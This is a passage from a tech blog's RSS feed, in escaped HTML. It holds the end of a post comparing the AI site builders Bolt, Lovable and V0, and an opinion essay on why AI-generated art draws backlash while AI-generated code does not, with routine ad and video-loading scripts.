id=&#34;i-had-troubles-using-v0-vercel&#34;&gt;I had troubles using V0-vercel&lt;/h3&gt;&#xA;&lt;p&gt;However, I encountered problems with local execution, specifically a couple of dependencies that were not compatible with each other, nothing too complicated to solve.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;I mention this because I found it quite strange given that everything seemed to be working perfectly on their platform, but when I wanted to replicate the project on my computer, it didn&amp;rsquo;t work “out of the box.”&lt;/p&gt;&#xA;&lt;p&gt;But putting that aside, I think the result is solid.&lt;/p&gt;&#xA;&lt;h2 id=&#34;trying-to-create-a-landing-page-in-bolt&#34;&gt;Trying to create a Landing Page in Bolt&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bolt.new/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Bolt&amp;rsquo;s&lt;/a&gt;&#xA; proposal was my favorite one&lt;/strong&gt;. Using the neon light effect on the letters seems like a good choice to me, as it perfectly reflects the cyberpunk aesthetic of novels like Neuromancer or video games like Cyberpunk 2077.&lt;/p&gt;&#xA;&lt;p&gt;Bolt&amp;rsquo;s AI added images that match the color palette, and I also think the frame around the image is a nice touch. The icing on the cake is the glitch effect on the hero, which is often used in cyberpunk-style audiovisual material.&lt;/p&gt;&#xA;&lt;div class=&#34;video-embed&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1772340601444690769&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1752633837/coffee-bytes/bolt_d6pbio_05mb_bsyje5.mp4&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1772340601444690769&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Simply perfect, I had no problems with the installation. What I did notice is that the code uses quite a lot of resources even when there is no interaction. I haven&amp;rsquo;t reviewed the code in detail, but I plan to do so and update this post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;testing-creating-a-landing-page-in-lovable&#34;&gt;Testing creating a landing page in Lovable&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://lovable.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lovable&lt;/a&gt;&#xA; also delivers a functional landing page. However, I feel that this time it was a little too much for me.&lt;/p&gt;&#xA;&lt;p&gt;The Matrix background, while I suppose it is related to the cyberpunk theme, given the nature of the film, I don&amp;rsquo;t feel it is an element that should be integrated into a serious landing page (unless it is &amp;ldquo;Matrix: The movie&amp;rdquo; related).&lt;/p&gt;&#xA;&lt;p&gt;In addition, I think it went a little overboard with all the effects. Everything on the page is interactive, everything vibrates and everything moves, so much so that it feels saturated.&lt;/p&gt;&#xA;&lt;div class=&#34;video-embed&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1772340601444748929&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1752633780/coffee-bytes/lovable_no_sound_aokgmp_0_5mb_k12z7k.mp4&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1772340601444748929&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;p&gt;While I am aware that these results can be refined after multiple iterations, when I see this, I can&amp;rsquo;t help but think of a novice programmer who wants to incorporate absolutely all the effects they have just learned into a single web page.&lt;/p&gt;&#xA;&lt;p&gt;In addition, the footer only has the logo and copyright notice, missing the other informational links.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-download-lovable-code&#34;&gt;How to download lovable code?&lt;/h3&gt;&#xA;&lt;p&gt;Another aspect to note is that Lovable &lt;strong&gt;does not allow you to download the code&lt;/strong&gt; (or at least I couldn&amp;rsquo;t do so without a premium plan). So at this point, I consider it inferior to its competitors, which do offer the code for download without much hassle.&lt;/p&gt;&#xA;&lt;p&gt;Maybe lovable devs could benefit from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;fine tuning their models&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-v0-vercel-results&#34;&gt;Bolt vs Lovable vs v0 Vercel Results&lt;/h2&gt;&#xA;&lt;p&gt;If we consider only the result obtained, &lt;strong&gt;I would say that Bolt is the winner&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In terms of the experience of using the tool, I consider it to be quite similar in all three cases. All three use interfaces that seem to be becoming standard, and the truth is that I can&amp;rsquo;t even remember if there is any significant difference between the three options.&lt;/p&gt;&#xA;&lt;h2 id=&#34;website-creation-using-llm-is-far-from-perfect&#34;&gt;Website creation using LLM is far from perfect&lt;/h2&gt;&#xA;&lt;p&gt;Something I found quite curious is that while there are subtle differences in terms of backgrounds, button sizes, interactions, and other visual elements, all three pages use exactly the same landing page layout: a navbar with a menu on the right side, the logo on the left side, all more or less at the same distance and with 3-4 sections.&lt;/p&gt;&#xA;&lt;h3 id=&#34;all-llm-sites-looks-the-same&#34;&gt;All LLM sites looks the same&lt;/h3&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not necessarily a bad thing, but it does take away from the website&amp;rsquo;s personality. If you have a business, you don&amp;rsquo;t want to look like your competition; you want to stand out, and for that you need a design that&amp;rsquo;s different from the rest. One of the problems with LLMs is that they always return the most likely token, so the code they produce will be similar for all users who use it, probably with the same layout, color palette, and similar texts.&lt;/p&gt;&#xA;&lt;p&gt;This is bad news if you want a website that stands out from the crowd, as the only solution is customization, either by a professional or by spending hours on the model to get something different.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1752184598/coffee-bytes/ai-layout-landing_nsyj1p.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1752184598/coffee-bytes/ai-layout-landing_nsyj1p.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;All AI landing page looks the same&#34; width=&#34;1377&#34; height=&#34;937&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;llm-generators-usually-forget-about-seo&#34;&gt;LLM generators usually forget about SEO&lt;/h3&gt;&#xA;&lt;p&gt;One more thing that I noticed is the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-basics-checklist-only-for-web-developers/&#34;&gt;lack of even the basics of technical SEO&lt;/a&gt;&#xA;, so don&amp;rsquo;t count on taking your site to Google&amp;rsquo;s first position without investing some time in it. But hey, the results were surprising and only one prompt was required.&lt;/p&gt;&#xA;&lt;p&gt;Surprisingly, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-generated-art-and-ai-generated-code-are-treated-differently/&#34;&gt;unlike AI-generated art, this AI-generated code tools&lt;/a&gt;&#xA; went unnoticed by non-tech people.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;All the tech influencers are spreading FOMO and talking about tools like Bolt, Vercel&amp;rsquo;s V0, and Lovable. But I get it, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;AI is overhyped right and we could be in a bubble&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Despite their non-realistic valuation, I&amp;rsquo;m astonished about what these tools can do without needing &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST APIs&lt;/a&gt;&#xA;, nor &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA; integrations from the user.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bolt-vs-lovable-vs-v0-pricing&#34;&gt;Bolt vs Lovable vs V0 pricing&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s compare the pricing plans and features of each one, from V0, Lovable, and Bolt, focusing on aspects that may be relevant to those interested in creating &lt;del&gt;vulnerable&lt;/del&gt; sites using AI.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>AI-generated Art and AI-generated code are treated differently</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/ai-generated-art-and-ai-generated-code-are-treated-differently/</link>
      <pubDate>Sun, 25 May 2025 14:29:58 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/ai-generated-art-and-ai-generated-code-are-treated-differently/</guid>
      
      <category>opinion</category>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Today, while &lt;em&gt;doom scrolling&lt;/em&gt; on Zuckerberg&amp;rsquo;s social network, the algorithm recommended me an image of &lt;strong&gt;Sakura Card Captors&lt;/strong&gt; in the style of the Spanish painter &lt;strong&gt;Remedios Varo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sakura Card Captors image in the style of Remedios Varo created with AI&#34; width=&#34;700&#34; height=&#34;1050&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Sakura Card Captors image in the style of Remedios Varo created with AI&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;When I checked the comments—I don’t even know what I gain from doing that—I noticed that the most &lt;em&gt;liked&lt;/em&gt; ones expressed strong disdain for artificial intelligence. A normal behavior if you&amp;rsquo;re in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;middle of AI overhype&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;artists-hate-ai-devs-are-forced-to-accept-it&#34;&gt;Artists Hate AI, Devs Are Forced to Accept It&lt;/h2&gt;&#xA;&lt;p&gt;There’s a strong consensus among artists regarding AI.&lt;/p&gt;&#xA;&lt;p&gt;Movements like #NOAI or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.forbes.com/sites/lesliekatz/2024/07/17/human-intelligence-art-movement-takes-defiant-stand-against-ai/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Made with human intelligence&lt;/a&gt;&#xA; have made &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://notbyai.fyi/es/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;their rejection of this technology very clear&lt;/a&gt;&#xA;. The contempt seems to stem from how it was trained—using artists&amp;rsquo; work without their permission, accused of plagiarizing something as personal as a style—and the fear of being replaced by this technology, which affects them economically.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753062961/coffee-bytes/no-ai-movement_g772l5.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753062961/coffee-bytes/no-ai-movement_g772l5.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;NO AI movement&#34; width=&#34;600&#34; height=&#34;600&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;NO AI movement&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;On the other hand, there’s been a strong trend (whether organic or orchestrated, I don’t know) in the software world, to adopt AI as just another tool to increase the quality and quantity of code produced. Even when there’s resistance, it’s more focused on technical aspects and potential flaws rather than the ethical concerns of its training process.&lt;/p&gt;&#xA;&lt;p&gt;This contrast fascinates me.&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-thoughts-on-why-ai-generated-code-and-ai-generated-art-are-treated-differently&#34;&gt;My Thoughts on Why AI-Generated Code and AI-Generated Art Are Treated Differently&lt;/h2&gt;&#xA;&lt;p&gt;It’s not about one being right or wrong—it just really catches my attention.&lt;/p&gt;&#xA;&lt;p&gt;Perhaps it’s because art is a direct form of visual and emotional communication. The fact that it’s generated by a machine might be perceived as an &lt;em&gt;inferior&lt;/em&gt; form of expression or a threat to something considered purely human.&lt;/p&gt;&#xA;&lt;p&gt;In contrast, code, by its functional and abstract nature, lacks that emotional weight, and the fact that a computer program generates it goes completely unnoticed.&lt;/p&gt;&#xA;&lt;p&gt;Humans evolved using sight as a survival tool, so anything perceived visually will have a more significant impact. Code, as an abstraction of logic, is very recent and wasn’t part of our species&amp;rsquo; evolutionary pressures or material reality. Plus, given its nature, it’s far less visual. Remember, code isn’t the final product—it’s an abstraction.&lt;/p&gt;&#xA;&lt;h3 id=&#34;code-is-pragmatic-art-isnt&#34;&gt;Code Is Pragmatic, Art Isn’t&lt;/h3&gt;&#xA;&lt;p&gt;Code was created to abstract, in a language closer to human speech, a series of instructions for a computer, with a well-defined and deterministic purpose.&lt;/p&gt;&#xA;&lt;p&gt;But art tells a different story.&lt;/p&gt;&#xA;&lt;p&gt;Oscar Wilde would say:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;ldquo;All art is quite useless.&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;His statement doesn’t mean art is useless in a literal sense, but that it exists for beauty and expression, not survival or moral instruction.&lt;/p&gt;&#xA;&lt;p&gt;If there’s any truth to that, art is far more flexible than code and logical-mathematical systems.&lt;/p&gt;&#xA;&lt;p&gt;I believe it’s precisely this flexibility that allows AI, combined with randomness, to function so differently for art and code.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-role-of-randomness-in-generative-models-and-llms&#34;&gt;The Role of Randomness in Generative Models and LLMs&lt;/h2&gt;&#xA;&lt;p&gt;AI can abstract patterns from its training dataset. Once it identifies those patterns or archetypes, it uses randomness to generate results that &amp;ldquo;fit&amp;rdquo; within them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;ai-generated-art&#34;&gt;AI-Generated Art&lt;/h3&gt;&#xA;&lt;p&gt;An artist gathers stimuli from other artists, personal experiences, books, music… and &amp;ldquo;mixes&amp;rdquo; them to create something new. The result is something original that &lt;strong&gt;retains certain references or characteristics of the works that inspired it, no matter how subtle&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;All of this happens consciously, whereas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;AI does it unconsciously—or at least that’s what Searle would suggest&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;ai-generated-code&#34;&gt;AI-Generated Code&lt;/h3&gt;&#xA;&lt;p&gt;In the case of AI-generated code, the process is practically the same. The AI detects patterns in numerous code samples and then generates new code, different but based on the patterns the LLMs have &amp;ldquo;learned.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;In both cases, randomness allows for something new—not an exact copy of the originals it was trained on (as long as it doesn’t overfit).&lt;/p&gt;&#xA;&lt;h2 id=&#34;randomness-impacts-the-differences-between-ai-generated-art-and-code&#34;&gt;Randomness Impacts the Differences Between AI-Generated Art and Code&lt;/h2&gt;&#xA;&lt;p&gt;As I mentioned earlier, art is far more subjective and variable than coding. There are millions (or more) ways to present a concept or image, which aligns perfectly with how LLMs or generative models work.&lt;/p&gt;&#xA;&lt;p&gt;When it comes to writing code, however, the number of ways to achieve the same thing is much more limited. Writing a loop that counts from 0 to 100 in the same programming language might have a dozen solutions.&lt;/p&gt;&#xA;&lt;p&gt;This number starkly contrasts with the potential ways to paint a concept, which could be practically limitless.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753063920/coffee-bytes/artificial-intelligence-art-randomness_pozdsb.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1753063920/coffee-bytes/artificial-intelligence-art-randomness_pozdsb.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;An emotional photograph in the style of a Fujifilm disposable camera (like &amp;#39;Utsurundesu&amp;#39;) showing a medium shot of a Japanese woman in her 20s, crying at a wedding ceremony. She stands among guests, wearing a soft pastel-colored dress. Her makeup is slightly smudged by tears. The scene is imbued with deep nostalgia and melancholy. Soft, dim lighting casts a gentle glow on her dark hair. The focus is on her expressive face, and in the reflection of her eyes, a bride and groom can be seen standing together. The background shows a beautiful wedding venue with warm lighting. The image features pronounced film grain, slightly muted tones, and cinematic blur, amplifying the emotional intensity of the moment from a wider perspective. The composition evokes longing and fleeting memories, characteristic of heartfelt disposable camera photography. The background is softly blurred.&#34; width=&#34;600&#34; height=&#34;797&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;With code, it’s slightly different. Obviously, as the codebase grows, the number of possible solutions increases too. But here’s a crucial difference: unlike art, not all solutions are equally valid.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-differences-between-ai-generated-art-and-code&#34;&gt;The Differences Between AI-Generated Art and Code&lt;/h2&gt;&#xA;&lt;p&gt;Let me expand on this. The subjective nature of art means all representations of the same concept are valid—a Picasso-style apple is just as valid as one painted by Velázquez or Carrington.&lt;/p&gt;&#xA;&lt;p&gt;This isn’t the case with software. A variation of any complex program (a web crawler, a database, etc.) will behave differently in different scenarios, and there will be a superior or inferior version based on the code’s requirements.&lt;/p&gt;&#xA;&lt;p&gt;These differences can be measured quantitatively: execution time, memory usage, scalability, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/&#34;&gt;requests per second&lt;/a&gt;&#xA; etc., leaving us with some solutions better than others.&lt;/p&gt;&#xA;&lt;p&gt;Given this, AI will &amp;ldquo;get it right&amp;rdquo; less often and require more iterations when generating code. However, when creating art, the user will likely consider the result valid after just a few iterations.&lt;/p&gt;&#xA;&lt;p&gt;This makes me think that, from my perspective, the non-deterministic nature of AI works better for creating art than for creating code.&lt;/p&gt;&#xA;&lt;p&gt;Now, there’s another aspect I want to touch on regarding the differences between AI-generated code and AI-generated art.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-contrast-in-perception-between-ai-generated-code-and-ai-generated-images&#34;&gt;The Contrast in Perception Between AI-Generated Code and AI-Generated Images&lt;/h2&gt;&#xA;&lt;p&gt;The final product of AI-generated art is the same product the user perceives. In contrast, the code AI creates doesn’t interact with the end user.&lt;/p&gt;&#xA;&lt;p&gt;There’s no public backlash or protests over AI-generated code because people don’t see it. Code, in itself, doesn’t evoke passion or anger—unlike &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/devin-ai-will-this-ai-replace-programmers/&#34;&gt;when Devin AI promised to replace programmers&lt;/a&gt;&#xA;. Maybe it’s because the visual stimulus of art is far more intense than a wall of text expressing relationships between abstract entities.&lt;/p&gt;&#xA;&lt;p&gt;For proof, just look at the response to tools like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/my-bolt-vs-lovable-vs-v0-vercel-comparison/&#34;&gt;Bolt, Lovable, or V0&lt;/a&gt;&#xA;, which were trained using developers&amp;rsquo; code—also without their permission.&lt;/p&gt;&#xA;&lt;h3 id=&#34;ai-generated-websites&#34;&gt;AI-Generated Websites&lt;/h3&gt;&#xA;&lt;p&gt;But what about websites? I’d argue that even if we observe the crystallization of code into pixels on a webpage, the reaction is entirely different from what we’d experience with art—despite both being perceived visually.&lt;/p&gt;&#xA;&lt;p&gt;An AI-generated website (and perhaps the code itself) is completely indistinguishable from one made by a human. Plus, a website isn’t usually perceived as the result of human expression (especially in today’s internet).&lt;/p&gt;&#xA;&lt;p&gt;But with art, it’s much easier to tell—hands with too many fingers, logical inconsistencies, even that default, generic style that’s become so characteristic. Or the now-popular Ghibli style that’s turned into a commodity.&lt;/p&gt;&#xA;&lt;p&gt;AI-generated art stands out whereas AI-generated code is invisible.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Today, while &lt;em&gt;doom scrolling&lt;/em&gt; on Zuckerberg&amp;rsquo;s social network, the algorithm recommended me an image of &lt;strong&gt;Sakura Card Captors&lt;/strong&gt; in the style of the Spanish painter &lt;strong&gt;Remedios Varo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1748206520/coffee-bytes/sakura-card-captors-remedios-varo_mwazan.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Sakura Card Captors image in the style of Remedios Varo created with AI&#34; width=&#34;700&#34; height=&#34;1050&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Sakura Card Captors image in the style of Remedios Varo created with AI&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;When I checked the comments—I don’t even know what I gain from doing that—I noticed that the most &lt;em&gt;liked&lt;/em&gt; ones expressed strong disdain for artificial intelligence. A normal behavior if you&amp;rsquo;re in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;middle of AI overhype&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My Curated Best Resources To Learn Python Programming Language</title>
      <link>https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/</link>
      <pubDate>Fri, 25 Apr 2025 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/</guid>
      
      <category>python</category>
      
      <category>opinion</category>
      
      
      
      
      
